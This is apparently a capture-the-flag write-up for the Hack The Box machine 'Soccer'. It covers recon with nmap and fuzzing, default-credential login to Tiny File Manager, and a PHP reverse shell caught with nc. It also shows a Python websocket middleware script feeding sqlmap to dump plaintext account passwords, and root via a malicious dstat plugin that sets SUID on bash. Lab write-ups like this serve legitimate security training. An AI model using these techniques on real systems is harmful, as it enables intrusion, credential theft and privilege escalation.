RECON
Enumeration is the key to everthing so we always kick off with an nmap scan on the target IP.
└─$ nmap -p- --min-rate 2000 -sC -sV -oN nmap/soccer.tcp 10.10.11.194
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-10 15:38 WAT
Warning: 10.10.11.194 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.194
Host is up (0.27s latency).
Not shown: 38489 filtered tcp ports (no-response), 27044 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ad0d84a3fdcc98a478fef94915dae16d (RSA)
| 256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA)
|_ 256 5797565def793c2fcbdb35fff17c615c (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 286.53 seconds
Now it connfirm we have SSH 22 and HTTP 80 port presently open the target which is interesting since it rated easy i think we already know we don’t need to dig that much we can start a quick enumeration on the HTTP port already.
└─$ curl -i http://10.10.11.194
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 10 Feb 2023 14:48:02 GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Location: http://soccer.htb/
<html>
<head><title>301 Moved Permanently</title></head>
<body>
<center><h1>301 Moved Permanently</h1></center>
<hr><center>nginx/1.18.0 (Ubuntu)</center>
</body>
</html>
Some old habit i always use to print out the response headers in the output using curl
command now that we have the domain let add to our hosts file.
sudo vim /etc/hosts
.......
10.10.11.194 soccer.htb
.......
Now that we have that set let access the web-server surely we are using the browser XD.
Interesting a web page that talk on how soccer is the best sports in the world which is true no cap but i still take hacking like sports XD which mean sports is second to me.
Subdomain Fuzz
┌──(muzec㉿muzec-sec)-[~/Documents/CTF Hacking/HTB/soccer]
└─$ wfuzz -u http://soccer.htb/ -H "Host: FUZZ.soccer.htb" -w /opt/wordlists/subdomains.txt --hh 178
Which i end up getting none so let go ahead amd fuzz for some directories.
Directories Fuzz
┌──(muzec㉿muzec-sec)-[~/Documents/CTF Hacking/HTB/soccer]
└─$ feroxbuster -u http://soccer.htb/ -w /opt/wordlists/2.3-medium.txt --quiet -t 80
Now that is a hit let see what we really have on the tiny web directory.
Tiny File Manager and we seems to need a credentials to get access let try doing some research on a default credentials.
Default username/password:
admin/admin@123
user/12345
We got access to the Tiny File Manager and seems to find the version it running a quick research again.
Which come to our notice that tiny file manager is vulnerable to an authenticated remote code execution allowing a malicious user to upload a php file to be able to execute a system command on the webserver now that we know what we are dealing with let get our malicious php file ready and upload on the webserver to get a reverse shell.
Created a PHP file added our tun0 IP, Port to receive a reverse shell back to us.
nc -nvlp 80
Navigating to http://soccer.htb/tiny/uploads/muzec.php to trigger our php file and we got a reverse shell back to our listener.
We spawn a full tty shell to make our shell more stable and we go ahead and start enumerating once again to find a way to move our privilege to a higher user by checking all files sysetem on the target.
WWW-DATA
Now that seems like a new subdomain no wonders we are unable to get hit when we fuzz for one seems unique. Back to our attacking machine to add the new subdomain we got from the target machine.
sudo vim /etc/hosts
.........
10.10.11.194 soccer.htb soc-player.soccer.htb
.........
Now that look promising right i bet you think the same we have a page to login/sign up since we have no active credentials let sign up.
Now that our account is ready let hit the login page to sign in.
Now we are done to a check page which check a valid ticket ID.
Interesting i decided to try a wrong ticket ID to see what happened.
Which seems to be wrong when i try a false ID. Checking the page source and we notice it seems to be using a websocket URL to make a request to the internal port 9091 just from my guessing we should know we are actually dealing with an SQL injection vulns.
A QUICK NOTE:- The wss protocol establishes a WebSocket over an encrypted TLS connection, while the ws protocol uses an unencrypted connection.
Find SQLi in Websockets
Interacting with WS with Burp suite which is really nice here. Let inetercept the tickets form checker with burp suite and right click and send it to Repeater:
We can notice from the history when a ticket is valid we got Ticket Exists
but when a ticket is not valid we know the response is Ticket Doesn't Exist
now that we know it clear let go ahead and test fro sql injection.
Testing For SQL Injection
A standard SQLi check is to send a '
character, but that does nothing interesting here we just got a response with no valid tickets:
So what i did is i try and send a ticket ID that does not exist and with an SQL query 1=1
to see if it really give out a valid ticket response or an invalid ticket response.
Boom we got a valid ticket response even when we know that the ID really doesn’t exist. This is confirmed SQL injection.
SQLi Helpers with SQLMAP and a custom python script
It is similar to SQLMap tamper scripts but in this case the script will act as a standalone server vulnerable to SQLi on GET parameter.
#!/usr/bin/env python3
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
ws_server = "ws://soc-player.soccer.htb:9091/"
def send_ws(payload):
ws = create_connection(ws_server)
# If the server returns a response on connect, use below line
#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
# For our case, format the payload in JSON
message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
data = '{"id":"%s"}' % message
ws.send(data)
resp = ws.recv()
ws.close()
if resp:
return resp
else:
return ''
def middleware_server(host_port,content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except IndexError:
payload = False
if payload:
content = send_ws(payload)
else:
content = 'No parameters specified!'
self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")
try:
middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
pass
The python script will get a request with a single parameter, and use that to make the websocket connection with that parameter as the injection. This allows sqlmap
to see a standard HTTP server, but then it does the websockets injection.
└─$ python3 sqli.py
[+] Starting MiddleWare Server
[+] Send payloads in http://localhost:8081/?id=*
Now that we have it running let hit with sqlmap.
sqlmap -u "http://localhost:8081/?id=1" --batch --dbs
It works soccer_db
seems interesting let list the tables with sqlmap and possible aso dump all columns.
sqlmap -u "http://localhost:8081/?id=1" --batch -D soccer_db --tables
When we go the tables we can go ahead and dump the interesting columns.
sqlmap -u "http://localhost:8081/?id=1" --batch -D soccer_db -T accounts -C id,email,password,username --dump
We got the user player
password in plaintext let try on SSH.
Username: player Password:- PlayerOftheMatch2022
We have access and we should have the user.txt in the home folder of user player.
Privilege Escalation.
Nothing on sudo we decided to check for SUID permission.
find / -perm -u=s -type f 2>/dev/null
Doas seems interesting let check the conf file.
We can run dstat with doas with nopass as user root.
Dstat is a versatile tool for generating system resource statistics. It allows users to create a custom plugin and execute by adding option e.g. dstat –myplugin.
Exploitation
First off, let find and locate the “dstat” directory.
find / -type d -name dstat 2>/dev/null
Now let create a plugin called dstat_exploit.py
under “/usr/local/share/dstat/”.
import os
os.system('chmod +s /usr/bin/bash')
Dstat recognizes plugins under “/usr/local/share/dstat/”. Check if the above exploit plugin has been added by executing the following command.
dstat --list | grep exploit
Doas To Execute Dstat with the Malicious Plugin
Now execute “dstat” with —exploit
flag (the flag name is determined by the suffix of the file name e.g. “dstat_
doas -u root /usr/bin/dstat --exploit
Now when we run bash -p
we should be root.
Now getting the root.txt file.
rooooooooooooooot and done.
Greeting From Muzec